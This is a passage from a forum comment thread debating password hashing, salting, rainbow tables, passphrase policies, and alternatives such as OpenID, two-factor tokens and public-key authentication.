Third pass: Common passwords with a one-character prefix
Fourth pass: Common password pairs with a one-character infix.

The true measure of the strength of a password is its Kolmogorov complexity, which is incomputable. Any other measure is simply an approximation, and that approximation breaks down if the person creating the password is using a method that the person creating the measuring algorithm didn't think of, but that an attacker did think of.

Re:Wait, what?

[Terrasque]

Central, 2 factor authentication. Keyword OpenID

Google has it.
    OpenID endpoint : https://www.google.com/accounts/o8/id
    2 factor : http://googleblog.blogspot.com/2011/02/advanced-sign-in-security-for-your.html

myOpenID has it : https://www.myopenid.com/about_callverifid/

Verisign has it : http://systembash.com/content/using-the-paypal-verisign-security-key-with-openid-for-two-factor-authentication/

WiKID provides software to set up your own 2 factor OpenID : http://wikid.com/

It's also not that hard to make your own OpenID server (LOTS of good libs around for most languages), and there are already various open apps for 2 factor auth for f.ex phones (like http://motp.sourceforge.net/ )

And, even without 2 factor auth, OpenID is still generally more secure than passwords. Stealing the DB on a random website that use openid for auth, or even having root, won't give the attacker much to work with. No passwords. No info that allow him to use the openid account on other web sites.

So, start looking closer at OpenID today :)

Re:Wait, what?

[MobyDisk]

Interesting idea. A Google search revealed that you aren't the first to think of this:

Username as password salt

Non-random salt for password hashes

(assuming the salt is system wide, not per user)

Salt should be per user. (Although I see what you mean: system wide + username = per user)

The post isn't really about password hash strength

[Anonymous Coward]

It's about making sure you don't allow root access to your system.

well, geeesh.... not anymore I don't!

[Anonymous Coward]

well, geeesh.... not anymore I don't!

Passwords

[betterunixthanunix]

Easy solution: do not rely on passwords. As TFA says, people are very bad at generating random passwords, so why are we relying on them to do so? Use cryptographic authentication methods, and a lot of problems will be solved.

Then again, it has been so hard to get people to start using IPv6, I expect that the effort it would take for people to change the time honored method of authentication is simply too large.

Re:Passwords

[drinkypoo]

The real problem is that there is no means of remote authentication that cannot be faked in one way or another. Unless you figure out how to fingerprint the soul this is going to be an ongoing problem basically forever. The best thing you can do is use multi-factor authentication but that provides new opportunities for user frustration so we tend away from it. A keyfob can be lost or stolen. The machine a private key resides on can be compromised. All you can do is raise the bar and pray.

Re:Passwords

[Anonymous Coward]

Hopefully I don't come across as trolling here, but really, actually, what alternatives do you suggest? Let's say you're Facebook - you've got millions of ordinary people using your site; what choices do you really have?

Let's assume two scenarios... 1) you have limitless money and resource to implement anything you so choose, and your user base is as well educated as the average slashdotter. And then, 2) you're an organisation with commercial pressures like everyone else, and you're dealing with the general public.

I understand that my company can use something like a two factor solution to connect me to the VPN or what not, but what can you really do with the general public? (One poster later on suggests calling it a 'pass phrase' rather than 'password' and requiring at least three words in it (or whatever) to increase the search space. I get that's an option, but it's still a 'password').

Re:Passwords

[Anonymous Coward]

Easy solution: do not rely on passwords. As TFA says, people are very bad at generating random passwords, so why are we relying on them to do so? Use cryptographic authentication methods, and a lot of problems will be solved.

Then again, it has been so hard to get people to start using IPv6, I expect that the effort it would take for people to change the time honored method of authentication is simply too large.

+1

Some resources for RSA public key encryption libraries using javascript:
https://www.pidder.com/pidcrypt/
http://www.github.com/jas-/jQuery.pidCrypt/ (this uses the pidCrypt RSA libraries and has a server side class to generate public/private keys)

Re:Passwords

[betterunixthanunix]

Raising the bar is the point; true, the machine on which the private key resides might be compromised, but this is no worse than the situation with passwords (where the machine on which a password is entered might be compromised). On the other hand, users should not have to worry that a server could be compromised, and they should not have to worry that one compromised server can lead to compromised accounts on other systems. It is much easier for users to look after things they possess -- a card, a thumb drive, a computer -- than to try to generate a secure password that they can remember.

Re:Passwords

[antifoidulus]

and if someone breaks into my house and steals my dongle? What then? I have to have some way of going and getting a new one and inactivating the old one. How can I do that? How can I prove that I am the original owner? I'm going to need some type of security mechanism, such as a.....PASSWORD!

Re:Passwords

[Anonymous Coward]

Maybe seeing it as a "pass phrase" would allow people to have more complex passwords. A lot of people I know have single work passwords and have trouble with them. But if they just thought to type a sentence into the password box, they'd have something hard to reproduce exactly ( barring obvious passwords ) and virtually impossible to realistically brute force in a reasonable amount of time, while being incredibly easy to remember and far more secure.

"There are several thousand different ways to type a password, but this one is nice!"

Re:Passwords

[betterunixthanunix]

Or you could tell your bank to revoke your key, in person (presumably there is a system for identifying yourself in person), and to register a new public key for you; this has the added advantage of helping them track down people who might try to use your old key. If meeting in-person is not possible (e.g. with Amazon or EBay) you could call them and tell them the fingerprint for your new key, or perhaps even just have them deactivate your old account and then create a new one.

This is basically the process I use with SSH keys: people who lose their private keys (often by formatting their drives) have to come to me and give me a new public key to log in with. It is slightly less convenient than a password, but all I need to do is look through the logs of endless attempts to brute force passwords to remind myself that it is worth it.

Re:Passwords

[Carewolf]

No, the real problem is that even if you had perfect authentication that couldn't be faked, you could still have stupid, malicious or simply corrupt employees. The entire idea of trying to restrict information to specific people is flawed. That doesn't mean it is a bad idea, but don't be surprised that it isn't perfect, and don't worry about complete perfection. You will always have way bigger security holes than technological ones.

What is the solution: There is no solution, only semi-perfect prevention.

Re:Passwords

[Wolvenhaven]

If you fingerprint the soul and use it for authentication, you'll be excluding politicians and lawyers from any services you offer.

Re:Passwords

[betterunixthanunix]

It is somewhat ironic that you should bring up Facebook, which is the first website that comes to mind when I think about the problems with passwords. Have you forgotten what one of Zuckerberg's first uses for Facebook was? I have not:

http://www.businessinsider.com/how-mark-zuckerberg-hacked-into-the-harvard-crimson-2010-3

This is one of the biggest problems with passwords: you often wind up sending a password to some unknown system that could be doing a number of things with it (like displaying it to Mark Zuckerberg). Combined with the fact that people routinely use the same password on multiple systems, and may mistakenly enter the password for one system when logging in to another, I would say passwords are almost a security liability.

Here is the alternative, and it is very common to do this with ssh: use public key authentication. I can leave my public key on numerous systems, and not worry about some account being compromised. My computer generated the key; computers are good at generating big random numbers. I can also choose my security level; if I want a search space of a certain minimum size, I can generate an RSA key of a corresponding size (likewise with DSA/EC/etc.). There are some annoyances with public keys, but in my opinion, they are far better than passwords.

Re:Passwords

[Anonymous Coward]

Why not use an authenticator? Either a cheap hardware device like a keyfob, or a phone app - something removed from the desktop machine used to login. It's worked great for Blizzard - in fact it improves security so much that they offer a lot of incentives to use one. (for those unfamiliar with the term, it generates a code based on the current time, and the user's account details - the code is only valid for 60 seconds or so I believe. The user must enter this code in addition to their login and password) If the service providing verification of the authentication codes was on a device not accessible via the internet (or only the single verification service were available) then even if all the accounts were cracked, they'd still be mostly useless to the crackers.

I'm amazed that banks don't use something similar on their sites, to be honest. I'd definitely use one, even if I had to pay to obtain a device.

Re:Passwords

[PRMan]

The point of the article (since I read it) is that you should limit attempts per second. They recommend 10,000/second, but when I code I recommend one. Why would anybody need to login to the same username more than once per second? If the point is stopping automated login hacking, it accomplishes the job.

Re:Passwords

[PRMan]

Now, note that these are failed logins only. Successful logins do not get timed, in case you were wondering about B2B web services or something.

Re:Passwords

[Idimmu Xul]

I have to use an RSA key fob now to sign in to several bits and pieces and it's REALLY EXCITING!

I feel a bit like a spy typing in different secret codes every day.

Re:Passwords

[Joce640k]

Why do you think that asking people to choose a "phrase" is going to be more secure than asking them to type a word? It just means they'll just type "my password" instead of "password", "abc 123" instead of "abc123" and "i love you" instead of "iloveyou".

The problem isn't the number of letters, it's the users.

Re:Passwords

[Anonymous Coward]

and atheists...

Re:Passwords

[drinkypoo]

If you fingerprint the soul and use it for authentication, you'll be excluding politicians and lawyers from any services you offer.

A plan with zero drawbacks!

Re:Passwords

[Kashgarinn]

I would like to read more about this. Do you have a newsletter you can link to perchance?

Re:Passwords

[betterunixthanunix]

Newsletter, no, but if you are interested in cryptography authentication, this would be worth reading (it is a very simple description that uses ssh as an example):

http://www.debian-administration.org/articles/530

There is quite a bit of documentation available for setting up public key logins. TLS supports it (Firefox can store personal keys for this purpose), SSH now supports it with a rudimentary PKI, and there are some other methods out there.

Re:Passwords

[Twylite]

And you're willing to replace each password you have with one such device, and then carry said devices around with you? I would have to significantly up my time at the gym to manage that. Having one device that authenticates you to multiple sites is cryptographically difficult to set up and to secure, is still subject to phishing and man-in-the-middle attacks, and is pointless because two-factor authentication is already broken (e.g. by man-in-the-browser).

Re:Passwords

[bzipitidoo]

Doesn't help against offline attacks, which is what this is about.

Anyway, the recommendation to use a slower hash algorithm is silly. An increase in computation effort by a mere 200 times, which can be handled by increasing the parallelism rather than the time, and which doesn't force rainbow tables to be any larger, isn't going to slow brute force much. The only real way to increase the security against brute force attacks is lengthen the passwords.

Re:Passwords

[gilleain]

Car security systems use 'progressive backoff' - which means that each retry is allowed in, say, twice the time that the previous one was. So 5 mins for the first attempt, 10 for the second, 20 for the third etc.

Re:Passwords

[Anonymous Coward]

It's also much easier to steal or otherwise obtain something a person possesses than to extract something from a person's memory against his or her will. Good security shouldn't depend only on something you have.

Re:Passwords

[JWSmythe]

    Banks aren't all that smart.

    I bought a house and moved across the country a few years ago. Because I had bought a house, I was on every creditors list as having money. I received two "checks" for $5,000 and $8,000. Those checks were cashable, but they would have opened a line of credit for me at 24.99%.

    Little did I know, one of them also sent one to my previous residence for $9,000. Someone saw it as free money. I found out after the collections company tried to get their money from me. We went around for about 1/2 hour on the phone, and started getting it fixed. They sent me a copy of the check. The thief had to go to 3 banks to find one that would cash it. Yup, one whole day of work, and a $9,000 profit. Apparently the guy didn't even have to show an ID.

    Do I trust that the teller at the bank will actually look at the ID, and verify the identity? Nope. Consider other "banking security" methods. For security, they mail your credit/debit card to your house. They mail the book of checks. How hard is it for someone to open your mailbox, and swipe the contents. Usually they'll get junk mail. Once in a while they'll get a brand new credit card or box of checks.

    In the end, as I've discovered, unless the thief goes on a huge spending spree, there will rarely be an investigation or prosecution. The banks just look at it as a cost of doing business, and recover their losses through fees that they hit the customer with. Yup, we pay for their mistakes.

[rant mode suspended]

Re:Passwords

[stdarg]

On the other hand, for all that work, someone would net 1 identity/password. Having them all centralized in a password file gives you thousands.

Re:Passwords

[Anonymous Coward]

If you fingerprint the soul and use it for authentication, you'll be excluding politicians and lawyers from any services you offer.

And robots, whether mechanical or just software bots. Eventually, they'll start creating and maintaining their own accounts without human intervention.

Re:Passwords

[Mattpw]

You are correct about the security uselessness of the OTP devices however I would suggest you checkout my passwindow 2FA method which isnt vulnerable to phishing / MITM / MITB etc because it can do passive mutual authentication and include transaction information in the window. There are details on the security page. Its also just a cheap piece of plastic which fits in your wallet and is easy to distribute by letter.

Re:Passwords

[JWSmythe]

So you're saying it's easier to break into their house and steal everything they own, than to bother with an interrogation with a $5 wrench (current market value, $17.98)

    I do suggest use of the proper tools.

    precision adjust tool

    adjustment tool manipulator

    leakage preventer

    People who purchased these also buy...

    Noise suppression supplies

    Compartimalized storage and transportation unit

    ground modification tool

Re:Passwords

[HeronBlademaster]

You don't need one device for each password, if the service provider provides a phone app for you, like Blizzard. I'd be perfectly fine with adding an 'Auth apps' folder on my phone and sticking all the 'keyfob' apps in there, and I would gladly make use of it.

Uhhh, yeah?

[WiglyWorm]

So i guess the moral of the story is salt your passwords and make sure you have a strong root password? We can add some more common sense in there like "keep your os up to date", "don't give your password out to people", and "that nigerian prince isn't going to pay up"? I can has security eckspurt?

Re:Uhhh, yeah?

[Anonymous Coward]

No, the moral of the story is to use a hash that takes a long time to compute.

My entire system is encrypted, and when the passphrase is hashed, 2**23 rounds of SHA-256 are used (takes something like 13 seconds on my P4 2.4). Plus, of course, a salt is used.

This won't protect against stupid passwords, but it will really help against brute-force.

Re:Uhhh, yeah?

[magsol]

No, the moral of the story is to not do any of those things, since your box is going to get hacked anyway.

Re:Uhhh, yeah?

[PitaBred]

It's a good thing you're the only user. How big of an authentication server would you have to have to just handle a 100 person organization? 1000? 100,000?

The problem is people

[plover]

Like TFA says, worry more about the passwords people choose. It doesn't matter if you use SHA-1, MD5, or an HMAC, if the idiot types "password" for his password, it's going to be discovered on the first loop of anyone's "common passwords" list.

One way to get people to comply better is simply to refer to it as a "passphrase" instead of a "password". Maybe enforce "three word minimum" or something. Even if they just use a line from a movie, it's increased the search space dramatically over a single word.

Re:The problem is people

[vlm]

Like TFA says, worry more about the passwords people choose. It doesn't matter if you use SHA-1, MD5, or an HMAC, if the idiot types "password" for his password, it's going to be discovered on the first loop of anyone's "common passwords" list.

Its best to go overboard and require a minimum of 15 characters, a mix of upper and lowercase, at least two non-consecutive numbers and at least two punctuation marks. And store then so they can't reuse their previous 20 passwords. That way the users will exclusively save the password in their unsecure browser, unsecure post it notes, or cut and paste from a text file, or the corporate standard database that being an excel spreadsheet. Thats how REAL security pros roll, or so I'm told.

Re:The problem is people

[Rosco P. Coltrane]

Maybe enforce "three word minimum" or something

Wanna bet on the number of people who'll chose "a a a" as a password?

Re:The problem is people

[betterunixthanunix]

Or, you can ditch passwords, and use public key authentication methods. Pick a 3072 bit RSA key, and your search space is suddenly on the order of 2^128 -- I think that should suffice for a while. If you want to be careful, pick an even larger key, perhaps 16384 bits, to protect against possible future improvements in factoring algorithms. The great thing about these methods is that you can rely on a computer to generate the key; computers tend to do a good job at generating random numbers, certainly better than humans.

Re:The problem is people

[Entrope]

REAL security pros use multi-factor authentication by storing their master password list in an encrypted file on their rooted/custom-firmware mobile phones. The file is encrypted using a master pass-phrase (factor 1) and the phone will only unlock with a biometric ID (factor 2) and you need the phone to get at the password (factor 3). Bruce Schneier has written all about it!

(It is rather important that your wireless service provider not have administrative access to the device, which is where the custom firmware comes in. And yes, I know having the cell phone doesn't really count in the traditional sense of multi-factor security; the whole thing is a little bit tongue-in-cheek. Most people just need to be harder to attack than their neighbor; relatively few people need to be extremely resistant to attacks, although they are more common in /.'s readership than in the general public.)

Re:The problem is people

[bwintx]

+1

Re:The problem is people

[Bert64]

You do make a good point, the typical advice given out on password policies can often be detrimental, and the typical implementations used can be flawed.

Most systems don't stop dictionary words.
Even if you're forced to use a *different* password to your previous one, the level of difference typically isn't enforced so password1 can become password2.
Storing a fixed number of previous passwords is flawed as users can keep changing them to roll around, and setting a minimum password age is just a nasty kludge trying to mitigate this problem while causing new ones - much better to store any number of old passwords for a predetermined length of time.
There are also flawed authentication schemes out there which make it possible to authenticate using the hash without needing to crack the plaintext password.

People use the same passwords in multiple places... Even if you choose good strong passwords and some of the places you use it encrypt it with a strong one way hashing algorithm, how do you know how various systems will store your passwords? All it takes is for one to store it weakly and your toast.

Re:The problem is people

[muckracer]

> One way to get people to comply better is simply to refer to it as a "passphrase" instead of a "password".
> Maybe enforce "three word minimum" or something.

Already done here!
Used to have: "MyPassword1".
Now I got: "My passphrase One" :-)

Re:The problem is people

[plover]

I wasn't trying to provide a comprehensive list of password composition rules. What I was trying to say is that because we're dealing with people, we have to encourage them to make better password choices. Changing the mindset of people from "password" to "passphrase" or even "pass-sentence" is one place to start. It's an easy way to help average people think of more (number of bytes) data.

Even if it's as inane as "omgilovejustinbieber!", it's probably not found in any hackers' rainbow table (yet.) But if you were to demand a 20 character password, people would be really mad, thinking "I don't know any 20 character words!" With a pass phrase, it's much easier to think of and to explain to users. Your error message can be fairly simple: "Your pass phrase doesn't have enough words for good security. Pick a longer sentence, and use some punctuation."

And yes, you'll always have some people picking "aaaaaaaaaaaaaaaaaaaa." and variants. No scheme is perfect, but neither is security. If you can shift the number of weak passwords in your user base from 75% to 10%, that's a large reduction in your attack surface.

Re:The problem is people

[Entrope]

Which device will you trust to store that key and implement the private-key side of the authentication? How much do you trust it? Does the same device also generate the key, or do you have to trust some other device for that? (Ask Sony what happens if you are not sufficiently careful about how you generate private keys... :)

Re:The problem is people

[blincoln]

One of my old coworkers and I had a joke that you could make nearly any of the old "easy" passwords meet new security requirements by appending "4TheWin!" to the end, and it would usually still make sense too: "cocacola4TheWin!", "vacation4TheWin!", and so on.

Re:The problem is people

[JohnWasser]

The salt won't protect against poor passwords (common passwords and dictionary words) but it will help relatively good passwords stay secure in the face of ever-expanding collections of rainbow tables. For example there is a 5GB table currently available from freerainbowtables.com that allows you to look up the plain text for any MD5 hash of a string up to 6 characters, including a relatively good password like "F8% z5". Eventually they will expand to 7 characters, then 8... Adding salt makes a rainbow table attack much less practical. I would expect that even a 16-bit random salt would require a rainbow table to be 65,000 times as large.

If you don't want to give your customers a heart attack: add plenty of salt.

Re:The problem is people

[thomthom]

How would you save the passwords? I read an article that argued for never saving passwords in a database: http://blog.moertel.com/articles/2006/12/15/never-store-passwords-in-a-database

Re:The problem is people

[betterunixthanunix]

I imagine a simple answer would be for people to carry their private keys on a card of some sort -- people seem to be able to carry around drivers licenses and passports without too much difficulty. True, losing the card could complicate matters, but there are solutions to that as well -- storing revocation certificates in a safe place, procedures for issuing new keys (show up at your bank in person with a new key, call up companies, etc.). Key generation could be done with any computer, although people would have to be knowledgeable enough to follow the procedure (which may be asking too much of users). No, this is not a perfect solution, but it would be a big step forward.

Ask Sony what happens if you are not sufficiently careful about how you generate private keys...

If you are referring to the recent PS3 crack, it had nothing to do with how Sony generated their keys; in fact, as far as anyone can tell, Sony did an outstanding job of generating an ECDSA key. What Sony botched was the ECDSA signing procedure; instead of a unique random number for each signature, they used the same number each time, thus allowing the key to be recovered from just two signatures.

Re:The problem is people

[ftobin]

It's best to go overboard and require a minimum of 15 characters, a mix of upper and lowercase, at least two non-consecutive numbers and at least two punctuation marks.

You forgot that the password should also have a maximum length of 16 characters.

I'm not sure what site it is, but I'm pretty sure one of them that I need to access requires a 6-8 character password.

Re:The problem is people

[muckracer]

Oh...I'll have to remember that! :-P

Re:The problem is people

[Bengie]

Public keys are easy to break with quantum computers. What would have taken thousands of millennium will take hours. Once quantum computers become useful anyway.

Re:The problem is people

[Twylite]

Yes, and it causes your users to write their passwords on Post-It notes that they stick to their screens.

Re:The problem is people

[betterunixthanunix]

1. Scalable quantum computers are a bit like cold fusion -- always right around the next corner.
2. There are public key cryptosystems that are secure against quantum computers; take a look at lattice based cryptography, if you are interested.

Re:The problem is people

[Anonymous Coward]

All it takes is for one to store it weakly and your toast.

And my toast what?!

What horrible fate is in store for my toast as a result of my password negligence?

Re:The problem is people

[Anonymous Coward]

Less than the number of people who choose "x x x"?

Re:The problem is people

[Anonymous Coward]

Just force the user to input a ten character password consisting of at least 1 uppercase letter, 1 lowercase letter, 1 number, and 1 special character. .NET supplies a reg ex validation control, So i typically just force that requirement there. Presto, now you don't have to worry about a user using a password/passphrase of "password".

Re:The problem is people

[Anonymous Coward]

Like TFA says, worry more about the passwords people choose. It doesn't matter if you use SHA-1, MD5, or an HMAC, if the idiot types "password" for his password, it's going to be discovered on the first loop of anyone's "common passwords" list.

One way to get people to comply better is simply to refer to it as a "passphrase" instead of a "password". Maybe enforce "three word minimum" or something. Even if they just use a line from a movie, it's increased the search space dramatically over a single word.

A three word passphrase is not necessarily better than an 8 character salted password. While, the search space for testing every combination of every word in the English language is bigger, heuristics might work really well for passphrases.

According to http://www.duboislc.org/EducationWatch/First100Words

"The top 25 used words make up about one-third of all printed material in English. The first 100 make up about one-half of all written material, and the first 300 make up about sixty-five percent of all written material in English."

At a rate of 1.1*10^5 passphrases per second, (see http://www.springerlink.com/content/q78nh2440413u6q0/ )

- you could guess .5^3=12% of the passphrases in way less than a second.
- you could guess around 27% of 3 word passphrases within around 245 seconds.

You may have more luck with complex salted passwords that require upper and lower case and numbers and symbols.

Though, requiring longer passphrases, banning the top 300 words, or using two of the most common 300 words or something might work.

Re:The problem is people

[gregmac]

Security that relies on a policy of changing passwords regularly is inherently flawed. Generally when that policy is enacted, you're also forced to not reuse passwords, and have fairly high complexity.. the combination of which leads to passwords that most people can't remember, and so you end up with sticky notes underneath keyboards with passwords.

The reasons you'd want to require people to change passwords are to try and protect the system if other people know the password. The problem is, at the very best, it allows the compromise to happen for a few weeks/months until the next password change. That's more than enough time to do a lot of damage, extract info, etc. So I'd say the policy totally fails in that respect. This includes causal password sharing among co-workers ("hey, can you on to my email to get me that phone number?").

You're also right about being forced to have a "different enough" password.. but consider people who use passwords like "winter2011". The next one will be reasonably different, on a character-by-character basis, but I bet you can still guess what it will be..

So really, password policy is only a small part. Force some amount of complexity, but it doesn't need to expire. Instead, the IT infrastructure needs to detect and handle compromise by itself. Multiple invalid password attempts should gradually take longer to respond (so after your 4th wrong password, it might take 10 seconds to respond, and soon after that take 30 seconds to respond), which makes brute force attacks infeasible. A user logging in simultaneously from multiple locations should at the least be flagged. Logging in at odd times, or new locations should be flagged (if an employee who works in New York and doesn't travel is suddenly trying to log in from Nigeria, something is probably not right). Restrict what they have access to.

Of course, all of this actually makes the IT department do actual work, instead of blaming users when a compromise happens. I mean, IT even sent a memo saying not to write down or share passwords, how can they be blamed that the user didn't listen? And yet, that's the mentality that puts these stupid policies into effect, despite a couple decades of it not working.

Re:The problem is people

[northstarlarry]

Your mention of error messages gave me a thought. I'm no sysadmin, but is it possible, feasible, for the system, when a user is setting up a new password, to actually demonstrate the weakness of the password? After the user clicks "OK, this is what I want my password to be", store it as you normally would, then run it through some password cracking routines, with a timeout of a few seconds. If the password gets cracked in that time, show an error message "Jeez, I just cracked that password in .35 seconds. How about a few more letters and some punctuation?" (You could lie about how long it took, too.)

Does this make any sense to anyone? Has anyone done this? Or would you get in deep doo-doo for having cracking tools on the corporate boxen?

Re:The problem is people

[Zancarius]

You forgot that the password should also have a maximum length of 16 characters.

I'm not sure what site it is, but I'm pretty sure one of them that I need to access requires a 6-8 character password.

That reminds me of one site I visited many years ago (no, I don't remember which one--we're talking probably 2000-2001). I entered a password, probably 7 characters of letters, numbers, and symbols. It told me it wanted a minimum of 8. I then proceeded to enter a favorite quote of mine at the time. And then... ...it told me that the maximum password length was 10 characters.

The only way it could have gotten worse was if it told me that the characters !, @, # and & were illegal. Which it did.

Re:The problem is people

[Anonymous Coward]

fyi, storing the previous 20 passwords doesn't really force the user to use unique passwords. for example, password1, password2, password3, password4.... you get the idea.

Re:The problem is people

[Rophuine]

Everyone knows not to store passwords in a database. You store hashes in a database instead, which is what your link (and TFA) are talking about.

Re:The problem is people

[Haeleth]

That isn't necessarily bad. It's easier for a random cybercriminal in China or Russia to root a server that stores a million passwords than it is for them to break into a million American homes.

Re:The problem is people

[commandermonkey]

Why not just force people to use hunter2 ? I heard that password is secure.

Re:The problem is people

[plover]

Back in the mid-90s one of our Unix gurus ran Crack on a monthly basis and sent out emails to the violators. It was a small box with only a half dozen IT developers on it, but it was still pretty damn funny.

Pretty sure we couldn't "officially" do that these days.

Re:The problem is people

[plover]

Oh...I'll have to remember that! :-P

...in bed.

Re:The problem is people

[plover]

The "three word" comment was not a literal recommendation (thus the words "maybe" and "or something".) It was an example of the types of restrictions an implementer would have to add in order to get better security compliance. A more considered policy (which three seconds of a /. reply does not produce) might include character set requirements, minimum lengths, dictionary checks, and other assorted end-user annoyances.

The point is to get people thinking in terms of sentences instead of words. Sure, a grammatically correct English sentence may have less "raw entropy" than a random 10 character string, but it's much stronger than a 7 character password, and just as easy to remember.

Make it usable, and people will use it. That's the point.

Re:The problem is people

[aiht]

All it takes is for one to store it weakly and your toast.

I store my own toast, thank you very much!

Re:The problem is people

[aiht]

Oh...I'll have to remember that! :-P

...in bed.

... for the win!

Re:The problem is people

[definate]

Although you said in jest... REAL security pros do write it down...
http://www.schneier.com/news-101.html

http://www.schneier.com/blog/archives/2005/06/write_down_your.html

Re:The problem is people

[HeronBlademaster]

I'm not sure what site it is, but I'm pretty sure one of them that I need to access requires a 6-8 character password.

American Express, for one. Here's a fun screenshot I took a while back. The "password strength" meter is also humorous; it just chooses the number of bars based on how many letters and numbers there are; it doesn't bother checking if the password itself is strong. For example, it gives "aaaaa555" the highest rating.

There's some other site I use regularly that also has the same policy, but I can't think of what it is at the moment.

I've never understood this "no spaces" rule that seems to be mentioned everywhere. You're going to hash the string anyway, and spaces are as hashable as anything else, so why prohibit them? I should be able to use a full limerick as my password, spaces and punctuation included...

Re:The problem is people

[HeronBlademaster]

I use one particular site just once a month, to make a loan payment, and I can never remember the password. I got tired of having to reset my password through the "forgot your password" thingy every single month, so eventually I chose a password something along the lines of "ThisSiteSucks!". Then I IM'd it to a friend of mine, telling him to remind me of the new password if I ask.

Of course, my password for that site is in our IM logs now, which is where I look it up every month, but the worst that could happen would be someone making loan payments for me, which I wouldn't really complain about...

Re:The problem is people

[cwtrex]

You should have also added that they need a rule that says the passwords can't be similar so that the users can't do this for the next 20 passwords:
EasyPassword02!@
EasyPassword04!@
EasyPassword06!@ ... etc

An even better rule might be to force them to use randomly generated passwords instead of letting them decide their own passwords.

But as long as you allow them to handle usernames and passwords as their method of logging onto a network, you will all ways be vulnerable due to someone writing their passwords down where others can eventually read them.

Re:The problem is people

[Cro Magnon]

I have one system that does use a admin or random password rather than one I choose, and another with such strict requirements that I ended up using a random-generator. Both words ended up getting written down, as there's no way in he!! I'd remember those.

Re:The problem is people

[Cro Magnon]

One of the systems I used to work on had password requirements that were a real PITA. After it rejected several attempts to reset the pw, I finally found one it accepted, and I would NOT have wanted to say that word out loud in mixed company. But it WAS easy to remember, just by thinking about the frustration.

Re:The problem is people

[Anonymous Coward]

Its best to go overboard and require a minimum of 15 characters, a mix of upper and lowercase, at least two non-consecutive numbers and at least two punctuation marks.

Requiring digits is not a good idea. If a password is known to contain at least two digits, that halves the search space for 15-character passwords. The point of complexity requirements is to eliminate an easy-to-guess minority of potential passwords, not to declare a majority of random passwords off-limits.

Re:The problem is people

[badkarmadayaccount]

Better idea - enforce minimum entropy.

Re:First Post!

[Anonymous Coward]

May I be the first to congratulate you on your insightful, interesting and well written post. It's amazing you managed to do all that, and do it before anyone else. You really do make /. what it is. Thanks!

Yet another idiot story.

[Anonymous Coward]

Salts just mean they can't use precomputed rainbow tables, salt length should be long enough to make existing rainbow tables useless. This isn't hard.

Re:Yet another idiot story.

[tazan]

The point of the story was rainbow tables are unnecessary, it doesn't matter how long your salt is they can iterate through most of the hashes in a matter of days. If you use a different salt for every account then they would have to repeat the process for each account, which definitely limits the damage, but doesn't make you feel any better if you're the account they are going after. TFA says we need to slow down their ability to iterate through all the possible hashes.

Re:Yet another idiot story.

[Anonymous Coward]

But that isn't new, the difference is it can take seconds or it can take days. Fact is, if you've experienced a full breach that would leave passwords exposed you're fucked either way. This story has no purpose.

Re:Yet another idiot story.

[SuricouRaven]

I wrote a little program that will reverse any MD5 hash produced from a printable string up to five characters in length, and do so in about 1/3 second. I could make it up to six characters easily if I were willing to set up an extra 4TB of storage for the tables. Seven or more, the storage requirements get silly. And it's not a rainbow - no 99.999% chance of success here. If the password is 1-5 characters, it will be broken.

Salting still defeats it though.

Re:Yet another idiot story.

[bluefoxlucid]

Patricia Trie with pointers into compressed data, compress hashes in blocks. It's still a lot.

Re:Yet another idiot story.

[bluefoxlucid]

This guy is going on about how MD5 is designed for speed; but really all hashing algorithms are designed for speed. When they wrote it, they didn't think there were any weaknesses; and really salting makes generating a password list a huge brute force effort. This is all stuff we know already.

Re:Yet another idiot story.

[gweihir]

Not a surprise. If your crypto is fundamentally broken because you have no clue what you are doing, then rainbow-tables do not make a difference anymore. Just a little research into the topic would tell anybody halfway intelligent, that hashing passwords is a race of attacker speed against normal-use speed, just as almost all crypto is. A simple, back-of-the-envelope calculation then tells anybody halfway intelligent that you need to iterate the common hash-functions 100'000-1'000'000 times today to get reasonable security, unless you users all have high-entropy passwords. With that iteration count you also should add 64-128 bits of entropy in the form of a salt. This is really all well known and well documented.

Re:Yet another idiot story.

[gweihir]

There is no weakness from modern crypto-hashes being fast. If you need them to be slow, and for password hashing you most certainly need them to be, just iterate them. Current working iteration counts are 100'000 - 1'000'000. Not hard. Just need to know the basics of the mechanisms you are using.

Re:Yet another idiot story.

[aiht]

I wrote a little program that will reverse any MD5 hash produced from a printable string up to five characters in length, and do so in about 1/3 second. I could make it up to six characters easily if I were willing to set up an extra 4TB of storage for the tables. Seven or more, the storage requirements get silly. And it's not a rainbow - no 99.999% chance of success here. If the password is 1-5 characters, it will be broken.

Salting still defeats it though.

How is your rainbow table not a rainbow table?
Rainbow tables don't have an uncertain chance of success, if the password is in the search space they have been built for. It just isn't certain that the password will be in that search space, same as with your method.

Re:Yet another idiot story.

[SuricouRaven]

Because my search space is every possible password of length 1-5 characters using the upper, lower, number and everything else printable on my keyboard. Unless you're using accents or non-english characters, that should do it.

In terms of time-memory tradeoff, it falls in between simple brute force and true rainbow tables. It's much faster than rainbows, but requires larger tables.

Re:Yet another idiot story.

[WuphonsReach]

It's nothing new.

The reason you hash is to avoid handing an attacker your passwords on a silver platter. The reason that you salt prior to hashing is to prevent a rainbow table from one attack being used again on another attack.

But we've known for a while that it's possible with cloud-computing, or multiple boxes with quad SLI/Crossfire, or a bot network, that you can easily solve a few million hashes per minute for not a lot of money. Anything of 8 characters or less, even random gibberish is basically child's play at this point. If the attacker has the hash value, and your users are using weak/short passwords, they're going to crack the passwords in under a day.

The only defenses against that are:

- Use a heavier hash algorithm (more CPU time) or iterate. Both are losing battles as the attacker can scale up their resources a lot faster then the defender.

- Don't let the hashes into the hands of the attacker. Force them to go through a server-side process and install rate-limiting and lockouts on that process (which is the approach that SSH takes).

- Force your users to use stronger passwords.

Right now, a safe password length is 9-10 or longer, with at least some non-lowercase letters mixed in. Ideally, you should be using something in the 12-15 character range with numbers, symbols and mixed-case. Make your users memorize stronger passwords, and stop requiring them to change it every 30-60 days (which breeds laziness and bad habits and really bad passwords). Change your systems so that they check password complexity before allowing a new password to be put into use.

And if it's a really big deal - start considering adding a 2nd form of authentication to the mix (i.e. key fobs + passwords). Note that you do not *replace* passwords, but you augment them with a 2nd form of authentication. (See "two-factor authentication", which is a 30-40 year old concept at this point.)

Password Security.

[Onuma]

[semi-off-topic?]
Once someone is in your system with root/admin accesses, you're already hosed.

Most users will create the least-secure password which still meets the restrictions you've set upon them - whether that's 8-10 chars with 2 upper/lowercase, 2 digits, and 2 specials or a 16/32/64 digit extravaganza.
